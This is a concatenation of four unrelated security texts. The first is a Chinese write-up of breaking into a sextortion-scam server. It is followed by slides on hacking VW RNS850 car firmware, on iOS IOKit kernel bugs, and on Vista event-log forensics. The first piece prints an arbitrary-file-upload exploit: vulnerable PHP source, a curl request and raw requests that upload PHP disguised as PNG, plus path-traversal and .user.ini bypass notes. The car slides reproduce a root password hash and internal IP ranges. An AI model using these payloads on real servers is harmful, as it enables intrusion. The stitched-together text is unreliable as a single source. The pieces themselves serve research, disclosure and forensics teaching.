1. 前言昨晚看到朋友圈推了个和裸聊诈骗斗智斗勇的视频，点进去一看感觉和上个月搞得一个站的后台很像，所以想上去看一下，结果网站关了，就通过fofa重新搜了一个存活的网站，发现确实很像。于是就有了这篇文章，由于很多都是后补的图，可能不是很完整，见谅。 2. 第一次shell 由于上次拿到目标的时候就给了一个域名，所以先浏览一下看看，常规的扫一下目录。发现存在 uploads , temp , tmp 这几个看起来很像上传文件的目录，而且有 file.php 这个文件，然后发现扫出很多奇奇怪怪的东西，猜测对应目录nginx应该是设置了php禁止执行。首页长这样由于没有给我提供账号密码（后面发现这个是后台登录。。给账号密码就有鬼了），所以我先看扫出来的路径有什么有价值的东西。我先进app目录看看，进去之后长这样。好家伙，赶紧主动一点下一步，然后我发现我点哪都没反应。将ua设置成手机的也不行，用手机模拟器的浏览器打开也没反应，那就只能看看js有泄露啥敏感的接口吧。然后看到js里面有申请手机的一些权限，然后有个文件上传的接口。我想应该就是诈骗的诱导这些一时上头的人同意这些操作，然后手机的短信、联系人、视频、照片等等敏感的东西都通过这个文件上传接口上传到对方服务器上了。 2.1. 任意文件上传有上传接口那就先测试上传，毕竟如果没限制的话就直接拿下了。首先看到他上传文件的时候有三个参数，文件，手机号和邀请码，我先尝试只上传文件不带其他参数,通过burp构造上传包上传之后返回了一个success！这里我想到之前扫目录的时候扫了三个感觉像上传的目录出来，但是上传之后的文件名也不知道，我这里就直接猜测他上传之后没有改文件名，因为诈骗人员可能也要根据文件名判断文件是否存在可以利用的信息。然后尝试了几个目录发现我刚才上传的文件确实就在 /uploads/123.test 下面！后面看 file.php的代码的时候发现其实上传之后是会改文件名的，但是由于我没有提交另外两个参数，所以我上传的文件名就没有变，代码23-24行。 <?php require_once('common/Db.php'); require_once('common/Function.php'); $save_path = ""; if($_POST["save_path"]){ $save_path = $_POST["save_path"]; }else{ $save_path = "./uploads/".$_POST['sjh']."/"; } if (!file_exists($save_path)) { mkdir($save_path); } $save_name = ""; if($_POST["save_name"]){ $save_name = $_POST["save_name"]; }else{ $save_name = basename($_FILES['uploadedfile']['name']); } $target_path = $save_path.$save_name; $result = move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path); if($result) { $sjh= $_POST['sjh']; $yqm= $_POST['yqm']; $r=Add('files','imei,imei2,addtime,file',"'".$sjh."','".$yqm."','".time()." ','"."/uploads/".$sjh."/".$save_name."'"); echo "success"; } else{ echo "fail"; } ?> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 之后我尝试直接上传php文件，上传返回的也是success。我这时候就以为这个目标已经拿下了。结果，对方通过nginx设置了uploads目录下的php文件禁止执行。 2.2. 佛站这时候我就想通过佛站找到同类型的站点批量上传一下试试，看看有没有偷懒没配置禁止执行的网站，顺手扫了一波备份文件没扫到，后面拿下shell的时候发现确实有备份不过名字是猜不出的那种。由于上传包很简单可以直接通过burp复制出curl command然后在服务器批量上传一下，然后批量检测一下上传之后是否可以执行。接下来就能直接getshell下载源码进行审计了，最终发现通过添加save_name参数可以更改上传路径。下面上传包就可以将文件上传到http://xxxxx/app/123.php.最终拿到shell。打到xss的ip也是云南那边的。最后提交报告，任务结束。 curl -i -s -k -X $'POST' \ -H $'Host: xxxxx' -H $'Content-Type: multipart/form-data; boundary=---- WebKitFormBoundaryRGCUKchBA0Uphyly' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36' \ --data-binary $'------WebKitFormBoundaryRGCUKchBA0Uphyly\x0d\x0aContent- Disposition: form-data; name=\"uploadedfile\"; filename=\"test.php\"\x0d\x0aContent-Type: image/jpeg\x0d\x0a\x0d\x0a\xef\xbf\xbdPNG\x0d\x0a\x1a\x0a<?php phpinfo();? >\x0d\x0a------WebKitFormBoundaryRGCUKchBA0Uphyly--\x0d\x0a' \ $'https://xxxxx/file.php' 1 2 3 4 POST /file.php HTTP/1.1 Host: xxxxx 1 2 3. 第二次getshell 在看到朋友圈转发的视频之后，我想起我上面那个案件，由于当时的域名已经失效，并且后台没有截图，所以通过fo站拿到还存活的站点，进去看一看。结果发现网站好像已经把这个上传漏洞修补了。 3.1. 上传绕过经过尝试网站禁止了php、php5后缀的上传，我上传php[1-7]都不解析，全都下回来了。并且目标是 linux服务器，所以后面加空格[.]啥的也没用，然后想了想可以通过.user.ini文件让当前目录php运行时加载任意文件，通过代码发现他还自带ueditor文件管理器 lib/ueditor/1.4.3/index.html 。由于 move_uploaded_file 函数是会覆盖已存在的文件所以也可以通过更改ueditor的配置文件允许上传php 后缀的文件和指定上传目录也可以getshell。后面经过尝试发现确实都可以，下面我就演示第一种方式 getshell。 Content-Type: multipart/form-data; boundary=---- WebKitFormBoundaryRGCUKchBA0Uphyly User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 ------WebKitFormBoundaryRGCUKchBA0Uphyly Content-Disposition: form-data; name="save_path" ./app/ ------WebKitFormBoundaryRGCUKchBA0Uphyly Content-Disposition: form-data; name="uploadedfile"; filename="123.php" Content-Type: image/jpeg PNG • <?php phpinfo(); ?> ------WebKitFormBoundaryRGCUKchBA0Uphyly-- 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 进后台一看发现数据都是七月初的感觉是一个废弃的站点，所以换了一个站点尝试，结果发现上面的方法不行了，我不论如何修改 save_name 参数文件上传的位置都是在uploads文件下，所以我重新看了 file.php这个文件之后发现sjh这个参数存在路径穿越漏洞，也可以更改文件上传的位置,只需要上传 ../common 就行了。下面是对方修改之后的代码。看文件修改时间应该不是和我上个月的渗透有关。 if($_POST["save_path"]){ //$save_path = $_POST["save_path"]; $save_path = "./uploads/".$_POST['sjh']."/"; }else{ $save_path = "./uploads/".$_POST['sjh']."/"; } 1 2 3 4 5 6 进到后台查看页面发现，确实有点像，但不完全像。	pdf
@0x222 Paul Such (SCRT) @Agixid Florian Gaultier (SCRT) PLAYING WITH CAR FIRMWARE (OR HOW TO BRICK YOUR CAR) SUMMARY •  Who am I ? •  Hacking car firmware , why ? •  Model •  Hidden menu •  Finding the firmware – sources •  Analyzing the firmware •  Some interesting results •  A 2.2 Ton (4400 pounds) brick •  Conclusions WHO AM I ? •  Name : Paul Such •  Twitter : @0x222 •  Life : Security Engineer and founders of SCRT (A Swiss security company specialized in Ethical hacking, IT security, digital forensics) •  Hobbies : Guitarist, mountain biker, fan of motorsport •  Organizer of the Swiss security event : Insomni’hack (security conferences, CTF,…) March 2015 •  Research done with Florian Gaultier •  Twitter : @agixid HACKING CAR FIRMWARE ? WHY ? •  Fun and profit ! •  A lot of researches have already been done regarding CANBUS, OBD2,… •  Car “entertainment system” can do much more than “entertainment” : you can nearly control everything : lights. central locking , air conditioning, GPS, Bluetooth, phone, Wi-Fi, auxiliary heating, … •  A lot of cars have “built-in” options that are just software-activated : TV, Wifi, auxiliary heating,… sounds interesting (MAIN) MODEL •  Car : VW touareg 2 •  Multimedia : RNS 850 (audi Mmi-3G) GETTING THE FIRMWARE - SOURCES •  The hard way : dismount the car , find the disk/flash (in my case -> the drive is inside the glovebox. Note the IDE/PATA interface, not SATA ! ) •  Buy a RNS850 on Ebay •  Social engineering : the VW dealer/mechanic •  For some models : update the GPS => could update the firmware (ex : audi TT) •  Google is your friend : RNS850 firmware ! UPLOAD/MODIFY THE FIRMWARE •  No way but the hard way : direct disk access •  Find the magic combo (Press PHONE + SET UP together for 3-5 seconds) •  To reboot the RNS850, you need your 5 fingers (Phone+Climate+Nav+Traffic+Button) HIDDEN MENUS HIDDEN MENUS HIDDEN MENUS UPLOAD/MODIFY THE FIRMWARE (2) •  Power-user : OBD2 + VAGCOM + combo ANALYSING THE FIRMWARE •  Firmware seems to be a mix of EFS & IFS filesystem •  We used the tool dumpefs to dump the filesystem •  http://www.qnx.com/developers/docs/6.3.2/neutrino/utilities/d/dumpefs •  We had to create a small Python tool to recreate a filesystem using dumpefs output •  had to deflate some files •  http://www.qnx.com/developers/docs/6.3.2/neutrino/utilities/d/deflate.html •  … and Dumpifs (but we had to edit the headers of the files so that dumpifs could extract the files) •  http://www.qnx.com/developers/docs/6.3.2/neutrino/utilities/d/dumpifs.html •  RNS850 is based on QNX ! •  Elf header show a SuperH architecture EXTRACT-EFS.PY import sys import os import re if len(sys.argv)!=3: print "Usage: "+sys.argv[0]+" <file> <directory>" sys.exit() f=open(sys.argv[1],"r") file=f.read() f.close() os.system("mkdir "+sys.argv[2]) heads = file.split("------------------------------------------------------------------------------ ») i=0 while i<len(heads): params = {} params_raw = heads[i].split("\x0a") for j in params_raw: if len(j.split("="))==2: params.update({j.split("=")[0]:j.split("=")[1]}) if params.has_key(".mode") and params.has_key("name"): if params[".mode"].find("d")!=-1: directory=params["name"].replace('"','') print "mkdir %s"%directory os.system("mkdir -p %s/%s"%(sys.argv[2],directory)) else: file_name=params["name"].replace('"','') dump = heads[i+1].split("data",1)[1] lines = dump.split("\n") dump_hex = "" for k in lines: try: clear_line = k.split(":",1)[1].split(" ",1)[0] raw_line = clear_line.replace(" ","\\x") dump_hex += raw_line dump_raw = eval('"%s"'%dump_hex) except: pass print "create %s/%s/%s"%(sys.argv[2],directory,file_name) f2=open("%s/%s/%s"%(sys.argv[2],directory,file_name),"w") f2.write(dump_raw) f2.close() i+=1 RESULTS •  It is a « unix » filesystem imageInfo/passwd root:x:0:0:Superuser:/:/bin/ksh bin:x:1:1:Binaries Commands and Source:/bin: daemon:x:2:2:System Services:/daemon: mail:x:8:40:User Mail:/var/spool/mail: news:x:9:50:Network News:/var/spool/news: uucp:x:12:60:Network News:/var/spool/news: ftp:x:14:80:FTP User:/home/ftp: nobody:x:99:99:Nobody:/: ppp/shadow root:UE/zhLVdRLPk.:19545:0:0 inet.d #ftp stream tcp nowait root /usr/sbin/ftpd in.ftpd -l telnet stream tcp nowait root /usr/sbin/telnetd in.telnetd RESULTS •  ..and it leaks a lot of interesting information ! COOL , YOU CAN FIND THE GUYS ON LINKEDIN RESULTS •  Leaking internal IP range is also “good practice”, isn’it ? ifs-root ./proc/boot/server.cfg 10.30.158.0/24 10.30.158.73 # Margi Fremont 172.16.42.0/24 172.16.42.10 # von Karlsbad AudiNG3 nach TS Karlsbad 172.16.43.0/24 172.16.42.10 # Next IP Range from Karlsbad 172.16.98.0/23 172.16.99.1 # Ulm 172.16.163.0/24 172.16.160.5 # VS, Roggenbachstrasse 172.16.166.0/22 172.16.166.152 # Hamburg 172.16.177.0/22 172.16.176.117 # Filderstadt 172.16.201.0/24 172.16.201.46 # Hechingen 172.16.206.0/24 172.16.160.5 # VS, Auf der Steig 172.16.216.0/24 172.16.216.24 # Hildesheim 10.42.102.0/24 172.16.102.9 # QSSL Kanata 10.1.180.0/24 10.1.180.27 # 3Soft 192 Erlangen.168.201.0/24 192.168.201.10 # Audi Ingolstadt 192.168.254.0/24 192.168.1.99 # comlet 10.21.13.0/24 10.21.13.47 # nVidia RESULTS •  And yes.. The car can do wifi, so let’s pre-configure some SSID ##### IEEE 802.11 related configuration ####################### # SSID to be used in IEEE 802.11 management frames ssid=Audi3gpWLANuAP # Static WEP key configuration # # The key number to use when transmitting. # It must be between 0 and 3, and the corresponding key must be set. # default: not set wep_default_key=0 # The WEP keys to use. # A key may be a quoted string or unquoted hexadecimal digits. # The key length should be 5, 13, or 16 characters, or 10, 26, or 32 # digits, depending on whether 40-bit (64-bit), 104-bit (128-bit), or # 128-bit (152-bit) WEP is used. # Only the default key must be supplied; the others are optional. # default: not set #wep_key0=123456789a #wep_key1=123456789a #wep_key2=0102030405060708090a0b0c0d #wep_key3=00112233445566778899aabbcc OH NO ! HONEY I BRICKED OUR CAR…. •  Long story short : I finally managed to brick my car (yeah , a 4400 pound brick) •  I do not know exactly why.. (checksum ? Upload problem ?) •  It happened while trying to replace a dummy text file (SMS pre-configured answers) •  Took 3 months to fix it ! •  we are sorry, we had to change the “black box” of your car… CONCLUSIONS •  Expensive hobby ! … and my friends/wife/family do not want me to do tests with their cars (anymore) •  Lot of possibilities.. and work to be done •  Next : the following libs would be very interesting to look at … : •  ./mmedia/wma9_decoder.so •  ./mmedia/mpega_parser.so •  ./mmedia/wma9_parser.so •  ./mmedia/mp4_parser.so •  ./mmedia/wav_parser.so QUESTIONS ?	pdf
Dance with Apple Core 盘古安全实验室关于我们 • 专业的移动安全研究团队 • 专注物联时代安全 • 专心与最新的安全技术 Apple内核101 • 内核 (XNU)是Mach/BSD的混合体 • 运行的驱动程序在单独分离的一套框架 • “DriverKit”也就是现在的IOKit Apple内核101 • BSD • XNU的最上层是POSIX/BSD体系 • 采用FreeBSD6.0的代码 • 提供files, processes/pthread, signals等等 • Apple扩展: 增加了很多独有的syscalls • Mach • 内核中的微内核 • NeXTSTEP时代的遗留产物 • 提供task, thread, memory以及IPC通讯机制的实现 • 处理底层的异常，中断及陷入 Apple内核101 • IOKit (DriverKit) • 自主的驱动程序环境 • 移植自NextSTEP时代的DriverKit • 采用面向对象，并且受限制的C++框架 • 采用复杂的多层机制”IORegistry” • 采用它自身的IPC子系统(mach) • 在内核中parse XML(!!!) • 内核中主要的attack surface IOKit 101 • 自包含的运行环境 • IO* API封装着内核态的API • 驱动相对容易移植 • C++运行库由libkern提供 • 驱动通过IORegistry注册并且分类 • 用户态的API由IOKit.framework提供 • 映射内存至用户态 • 对Userclient提供方法和属性设置接口 IOKit 101 • IOService • 自动向IORegistry注册驱动 • 在驱动生命周期内提供callback • 支持notification • 支持中断处理 • 并且提供Userclient机制和用户态API进行通讯 IOKit 101 • IOKit User Clients • 直接和用户态交互的接口 • 并非所有驱动都提供User Clients • 通过继承IOUserClient实现 • 调用的方法保存在vtable • IOKit会校验对应方法的参数(类型, size) • Struct / Scalar (二进制数据，以及整数或者内存地址) IOKit 漏洞举例 • 内核中提供XML解析 • 其中OSUnserializeBinary用于反序列化二进制XML数据 • OSUnserializeBinary 通过动态数组的方式来手动管理OSobject的指针 • 存在多个漏洞 IOKit 漏洞举例 • CVE-2016-1828 use-after-free漏洞 • 当我们在XML字典中两次设置同一个key的时候，会导致前一个key的对象指针指向的内容被释放掉 • 但是OSUnserializeBinary内部动态数组中还保存了前一个对象的指针 • 当这个指针被引用的时候，导致UAF IOKit 漏洞举例 • CVE-2016-4655 / CVE-2016-4680 • 内核info-leak漏洞 • 在处理kOSSerializeNumber时，二进制内容中的长度直接传递给 OSNumner::withNumber函数 IOKit 漏洞举例 • OSNumber • 实际上长度不能大于64字节 • 但是代码在初始化size的时候并没有对用户输入做验证 • 会影响调用size getter函数numberOfBits()/numberOfBytes() IOKit 漏洞举例 • is_io_registry_entry_get_property_bytes • 该函数用于获取指定key的数据 • Bytes=&offsetBytes 指向栈上的数据 • 长度是我们控制的 • bcopy调用会导致泄露栈上的数据 • 函数返回地址/堆地址/cookie IOKit/MIG 漏洞举例 • IOSurfaceRootUserClient port UAF (CVE-2017-13861) • UserClient异步调用的时候会释放一个传入的port结构 • IOConnectCallAsyncStructMethod(connect, 17, port, &references, 1, input, sizeof(input), NULL, NULL); • 17号调用中的releaseAsyncReference64操作，从而引发iokit_release_port_send释放传入的port结构 IOKit/MIG 漏洞举例 • IOSurfaceRootUserClient port UAF (CVE-2017-13861) • 返回至上层的MIG代码时会继续对这个已经释放过port进行清理操作，导致UAF • ipc_kmsg_destroy->ipc_kmsg_clean->ipc_kmsg_clean_body • 详细分析：http://blog.pangu.io/iosurfacerootuserclient-port-uaf/ • GP0 wake_port exploit：https://bugs.chromium.org/p/project- zero/issues/detail?id=1417 IOKit 漏洞挖掘思路 • 堆栈溢出 • 整数溢出 • IOSurface 分配surface对象 • 数组越界 • 数组索引的时候长度用户可控 • TOCTTOU/Double Fetch • 很多IOService会map一段内存与用户态进程共享，这段共享数据是否会存在问题 • 类型混淆 • Race condition/UAF • IOService是允许有多个UserClient的，是否正确的设置锁协处理器的安全问题 • 除了AP之外的其他处理器 • 相机 • Wifi • SEP • 固件升级流程是否存在安全问题 • 相机固件才有crc32校验 • SEP芯片内置GID key 协处理器的安全问题 • 协处理器架构 (以SEP为例) • 采用RTOS • 和AP通讯采用mailbox机制 • OS之上运行各种app • 指纹识别 • 认证服务 • 缺少一定的安全防护机制 • 没有ASLR 协处理器的安全问题 • GP0 Wifi漏洞/Broadpwn 通过协处理器打到系统AP • Broadcom Wifi SoC(System on Chip)架构 • 运行Broadcom修改的RTOS • 网上可能还能找到一些相似的代码(VMG-1312) • 与AP(应用处理器)的接口 • SDIO • PCIE • 获得Wifi代码芯片执行权限后，再通过PCIE读写物理内存 • PCIE->DART (Device Address Resolution Table) • 详细细节可以参考： https://googleprojectzero.blogspot.co.id/2017/10/over-air- vol-2-pt-3-exploiting-wi-fi.html THANKS Q&A	pdf
1 Vista Log Forensics Dr. Rich Murphey, ACS Background Case Study Engagement Preliminary Report Final Report Vista Event Logging Logging Service Vista Event Encoding Undocumented Internals Event Log Analysis Recovery Correlation Interpretation Shadow Copy Services Provider C Provider C Provider B Provider B Provider A Provider A Controller Controller Log files Log files Controller Controller … Consumer Consumer Real time delivery Logged Events Session 1 Buffers Session 2 Session 64 Events Events Enable/Disable Session Control Consumer Consumer Windows Kernel Repair Correlate Recover 2 Acknowledgements Shouts out to: MD5, Caesar HTA Fednaughty DT Thanks to: Jerlyn Mardis, ACS Josh Pennell, IO Active Matthew Geiger, CERT Dedicated to: BitMonk (HTA/Ad Hoc) 3 Special Thanks To Sponsor: Forensics In-depth Analysis, Expert Witness Data Recovery Complex RAID, Exotic File Systems Consulting Information Security This is not: Legal Advice Suitable for testimony 4 Rich Murphey Experience: Rice University Ph.D. Electrical and Computer Engineering UTMB Med. School Faculty, Physiology & Biophysics Pentasafe Security Chief Scientist Applied Cognitive Soln. Chief Scientist Expert Witness CISSP, ACE, EnCE An Author of: GNU Graphics Asterisk VOIP See “Authors” FreeBSD Founding Core Team XFree86 man xorg \| grep Rich 5 For More Info C. R. Murphey, “Automated Windows Event Log Forensics,” Digital Investigation, August 2007 A peer-reviewed paper on a new tool for automating XP log recovery and analysis Digital Forensic Research Workshop, 8/13/07 HTCIA National 8/27/07 6 Roadmap Background Case Study Engagement Preliminary Results Revised Scope Vista Event Logging Events Logging Service Undocumented Internals Event Log Analysis Recovery Correlation Report Shadow Copy Services Provider C Provider C Provider B Provider B Provider A Provider A Controller Controller Log files Log files Controller Controller … Consumer Consumer Real time delivery Logged Events Session 1 Buffers Session 2 Session 64 Events Events Enable/Disable Session Control Consumer Consumer Windows Kernel Repair Correlate Recover 7 Case Study Steps Step 1: Define Preliminary Scope Define feasibility of the engagement. Step 2: Preliminary Report Uncover and mitigate surprises. Define capability to answer questions. Step 3: Final Report In-depth coverage. Adapt methods to answer questions. 8 1st Hurdle: Define a Scope Officer/Director calls Something bad happened…. Possible contract violation. Outgoing transfer of proprietary documents. #1: Define a scope of work. Can we identify file transfer? Examine hard drives Email attachments File transfer, uploads Anything else? 9 2nd Hurdle: Preliminary Report Good news: We know what to look for. Well defined keywords, file names #2: Preliminary Report D:\OfInterest.doc In unallocated space…. Bad News: IT deleted the user profile, and gave laptop to a new employee, six months ago, after they reformatted and reinstalled Windows Vista. 10 Shortcuts Shortcuts may contain IDs, label, size A snapshot of file’s attributes, media’s attributes Shortcut File Read-only File attributes N/A Last access time (UTC) 11/3/2006 10:12:34 AM Last write time (UTC) 11/11/2006 3:21:14 PM Creation time (UTC) 1643743 File size E2C3-F184 Volume Serial Number Nov 11 2006 Volume Label CD-ROM Volume Type D:\OfInterest.doc Local Path Link target information 11 3rd Hurdle: Final Report How to identify outgoing file transfer? Data carve for file path, time…. Where to find time stamps? Event logs Internet history Shortcuts Any where else? 12 Roadmap Background Case Study Engagement Preliminary Results Revised Scope Vista Event Logging Events Logging Service Undocumented Internals Event Log Analysis Recovery Correlation Report Shadow Copy Services Provider C Provider C Provider B Provider B Provider A Provider A Controller Controller Log files Log files Controller Controller … Consumer Consumer Real time delivery Logged Events Session 1 Buffers Session 2 Session 64 Events Events Enable/Disable Session Control Consumer Consumer Windows Kernel Repair Correlate Recover 13 Shortcuts Shortcuts may contain IDs, label, size A snapshot of file’s attributes, media’s attributes Shortcut File Read-only File attributes N/A Last access time (UTC) 11/3/2006 10:12:34 AM Last write time (UTC) 11/11/2006 3:21:14 PM Creation time (UTC) 1643743 File size E2C3-F184 Volume Serial Number Nov 11 2006 Volume Label CD-ROM Volume Type D:\OfInterest.doc Local Path Link target information 14 Event Logging Windows Vista/2008 Time, SID, Source, Severity, Message More than 50 logs by default. C:/Windows/system32/winevt/Logs/ Application.evtx HardwareEvents.evtx Internet Explorer.evtx Security.evtx Setup.evtx System.evtx …. 50 more! 15 hardware interfaces (buses, I/O devices, interrupts, interval timers, DMA, memory cache control, etc., etc.) System Service Dispatcher Task Manager Explorer SvcHost.Exe WinMgt.Exe SpoolSv.Exe Service Control Mgr. LSASS Object Mgr. Windows USER, GDI File System Cache I/O Mgr Environment Subsystems User User Application Application Subsystem DLLs OS/2 System Processes Services Applications System Threads User Mode Kernel Mode Windows NTDLL.DLL Device & File Sys. Drivers WinLogon Session Manager Services.Exe POSIX Plug and Play Mgr. Power Mgr. Security Reference Monitor Virtual Memory Processes & Threads Local Procedure Call Graphics Drivers Kernel Hardware Abstraction Layer (HAL) (kernel mode callable interfaces) Component Architecture Configura- tion Mgr (registry) PDC 06 Events Backward Compatibility Occurs Here 16 Backward Compatibility Backward Compatibility? 17 Vista Event Logging 5% CPU for 20K events/sec, 200K w/Transactions Logging and WMI are now just layers on top of ETW Unified: kernel/app, tracing/logging, remote/local Provider C Provider C Provider B Provider B Provider A Provider A Log files Log files Controller Controller … Consumer Consumer Real time delivery Logged Events Session 1 Buffers Session 2 Session 64 Events Events Enable/Disable Session Control Consumer Consumer Windows Kernel PDC 06 18 Vista Logging Service High performance tracing Event Tracing for Windows (ETW) Events from both apps and kernel Events are forwarded to a Collector Service and stored in local log for consumption Buffered in kernel Dynamically enable/disable No reboot or restart Selected events are delivered as they arrive Choose either push or pull subscription Provider C Provider C Provider B Provider B Provider A Provider A Controller Controller Log files Log files Controller Controller … Consumer Consumer Real time delivery Logged Events Session 1 Buffers Session 2 Session 64 Events Events Enable/Disable Session Control Consumer Consumer Windows Kernel 19 Vista Events Events are XML! Standards encoding System: standard properties EventData: app. defined Get events via: Query live logs & log files Subscribe to live logs Filter using XPath Internals: New, different encoding Arbitrary structure defined by each application <Event> <System> <Provider Name="CD Burning Service" /> <EventID>310</EventID> <Level>2</Level> <Version>0</Version> <TimeCreated SystemTime="2006-02- 28T21:51:44.754Z" /> <EventRecordID>7664</EventRecordID> <Channel>Application</Channel> <Computer>Desktop9237</Computer> <Security UserID="S-1-...-1003" /> </System> <EventData> <data name=“control”> Service Started. </data> </EventData> </Event> PDC 06 Events are encoded not as XML, but rather BXML! 20 Vista Events <Event> <System> <Provider Name="CD Burning Service" /> <EventID>310</EventID> <Level>2</Level> <Version>0</Version> <TimeCreated SystemTime="2006-02- 28T21:51:44.754Z" /> <EventRecordID>7664</EventRecordID> <Channel>Application</Channel> <Computer>Desktop9237</Computer> <Security UserID="S-1-...-1003" /> </System> <EventData> <data name=“control”> Service Started. </data> </EventData> </Event> PDC 06 Record Header Section Descriptor Section Header Section Body Section Header Section Body Section Header Section Body Section Descriptor Section Descriptor On the outside On the inside 21 Undocumented Event Structure Record header Common attributes Timestamp, severity Number of sections Section descriptors Source Offset, length Section headers Specifies encoding of body Section body event specific data Record Header Section Descriptor Section Header Section Body Section Header Section Body Section Header Section Body Section Descriptor Section Descriptor 22 Binary XML BXML (Binary eXtensible Markup Lang.) A binary serialization of an XML document. developed by CubeWerx for OpenGIS Consortium. Higher performance in both space and time. More compact. String table for tags and values. Gzip whole doc or just body. Avoids resource exhaustion of DOM. 10 to 100 times faster to parse. 100 times faster for dense numeric data due to binary encoding of numbers alone. http://www.cubewerx.com 23 What is BXML? Serialized numbers begins a one byte code that identifies the data type. byte enum ValueType { BoolCode = 0xF0, // boolean value ByteCode = 0xF1, // 'byte' numeric value IntCode = 0xF4, // 'int' numeric value } IntNum { // 32-bit integer value ValueType type = IntCode; int num; // value } http://www.cubewerx.com 24 What is BXML? XML tags are serialized as a byte code for the type of tag, followed by a reference to the tag name in the string table. ContentElementToken { // <element> TokenType type = ContentElementCode; Count stringRef; // index of element name } ElementEndToken { // </element> TokenType type = ElementEndCode; } http://www.cubewerx.com 25 What is BXML? Strings are preceeded by their length. String tables are preceeded by type code and table size. String { // raw character string Count byteLength; // length in bytes byte chars[byteLength]; // characters in proper encoding } StringTableToken { // string table (fragment) TokenType type = StringTableCode; Count nStrings; // number of strings String strings[nStrings]; // values } 26 Why the changes? Performance, scalability, and security New event publishing API Schematized, discoverable, structured events Unified API logging uses tracing framework Logging is asynchronous Does not block the application Log size limit removed limited only by disk space Record Header Section Descriptor Section Header Section Body Section Header Section Body Section Header Section Body Section Descriptor Section Descriptor 27 Vista Events XML events have rich information XP Events have flat structure, no parameter names Filtering and Subscriptions – XPath Event[System/EventID=101] Select events - filter out noise <QueryList> <Query> <Select>Event[System/Provider=Foo]</Select> <Suppress>Event[System/Level>2]</Suppress> </Query> </QueryList> Filter across live logs, files, Vista, and XP Subscribe to a custom view of events centrally Integrates with existing tools Triggering Actions Associate a task with an event with a single click 28 Vista Log Signature Vista Log Signature 4K Header starts with “ElfFile” Each 64K block starts with “ElfChnk” Size: 1024 + 4 = 1028 K bytes 29 Registering a Provider Providers are sources of the events Identified by unique GUID and name Specifies the location of resources for decoding <provider name="Microsoft-Windows-Demonstration" guid="{12345678-d6ef-4962-83d5-123456789012}“ resourceFileName="wevtsvc.dll" messageFileName="wevtsvcMessages.dll" parameterFileName="wevtsvcParameter.dll" > PDC 06 30 PDC 06 Channel Definition System-defined channels are imported (System channel above) New provider-specific channels can be defined and configured <importChannel chid="C1" name="System" /> <channel chid="C2" name="Microsoft-Windows- Demonstration/Operational“ type="Operational" isolation="System"> <logging> <autoBackup>true</autoBackup> <maxSize>268435456</maxSize> </logging> <publishing> <level>2</level> <keywords>1</keywords> </publishing> </channel> 31 PDC 06 Template Definition Templates define the payload shape of events Data elements define fields of events Can add user-defined XML representation for the payload <templates> <template tid="tid_HelloWorld"> <data name="Greeting" inType="win:UnicodeString" outType="xs:string" /> </template> </templates> 32 PDC 06 Event Manifest defines event attributes: ID (value), version, keywords, task, opcode, and level References previously declared template that defines instance data Message - a user readable string Channel - the name of the channel that transports the event to logs <event value="101" version="1" level="win:Error" symbol=“MyEventDescriptor” keywords="el:Availability“ task="el:EventProcessing" template=“tid_HelloWorld" channel=“C1" message="$(string.HelloWorld.Message)" /> 33 Logging Interface How to log an event: At compile time Write a schema Compile schema At run time Register source Create a session Send events Publishing API Publisher Published Events session Event publishing application User mode Kernel mode Logs Event Schema Schema compiler Kernel Component Sessions Publishing API Published Events PDC 06 34 Roadmap Background Case Study Engagement Preliminary Results Revised Scope Vista Event Logging Events Logging Service Undocumented Internals Event Log Analysis Recovery Correlation Report Shadow Copy Services Provider C Provider C Provider B Provider B Provider A Provider A Controller Controller Log files Log files Controller Controller … Consumer Consumer Real time delivery Logged Events Session 1 Buffers Session 2 Session 64 Events Events Enable/Disable Session Control Consumer Consumer Windows Kernel Repair Correlate Recover 35 “Cutting-Edge Forensics” “Conduct Cutting-Edge Forensic Investigations” – back cover On Event Log Repair: “We found no methods that were complete, and none explained the underlying principles for why the repair was needed.” – pg. 444 Available April 2, 2007 36 For More Info C. R. Murphey, “Automated Windows Event Log Forensics,” Digital Investigation, August 2007 A peer-reviewed paper on a new tool for automating XP log recovery and analysis Digital Forensic Research Workshop, 8/13/07 HTCIA National 8/27/07 37 Log Analysis Roadmap Forensic Process Models Repair Correlate Recover Extract Analyze Interpret 38 Log Analysis Roadmap Forensic Process Models Repair Correlate Recover Extract: Step 1 – Recover •Data Carve for Logs, etc. Step 2 – Validate •Identify intact log files. Step 3 – Correlate •Corresponding time, files, names,… Analyze Interpret 39 Using DataLifter: 40 XP log signature – 16 bytes 30 00 00 00 4c 66 4c 65 01 00 00 00 01 00 00 00 Vista log signature – 16 bytes “ElfFile” padded with nulls Signatures 41 Step 1 – Recover The Results: Step 1 – Recover Run DataLifter 100 logs are recovered. Only two are viewable. 98 corrupt logs Step 2 Validate 98 logs? 42 Vista Event Viewer New: Views, Filters 43 Correlate SQL queries to identify patterns <QueryList> <Query> <Select Path=“System”> [System/Provider=“CD Burning Service”]</Select> </Query> </QueryList> Repair Correlate Recover The CD Burning service entered the running state. 11/11/2006 15:21 Message Time (UTC) 11/11/2006 15:26 The CD Burning service entered the running state. 11/11/2006 15:25 The CD Burning service entered the running state. 11/11/2006 15:24 The CD Burning service entered the running state. 11/11/2006 15:23 The CD Burning service entered the running state. The CD Burning service entered the running state. 11/11/2006 15:22 11/11/2006 15:27 The CD Burning service entered the stopped state. The CD Burning service entered the running state. 11/11/2006 15:27 11/11/2006 15:21 The CD Burning service was successfully sent a start control. 44 Shortcuts Shortcuts may contain IDs, label, size A snapshot of file’s attributes, media’s attributes Shortcut File Read-only File attributes N/A Last access time (UTC) 11/3/2006 10:12:34 AM Last write time (UTC) 11/11/2006 3:21:14 PM Creation time (UTC) 1643743 File size E2C3-F184 Volume Serial Number Nov 11 2006 Volume Label CD-ROM Volume Type D:\OfInterest.doc Local Path Link target information 45 Report Correlations indicate A CD-ROM was burned By username: Bob At: 11/11/2006 3:21 PM UTC We can uniquely identify the CD Label: “Nov 11 2006” Volume serial number: E2C3-F184 Proprietary documents were transferred. OfInterest.doc, 1.6Mb Last Modified 11/3/2006 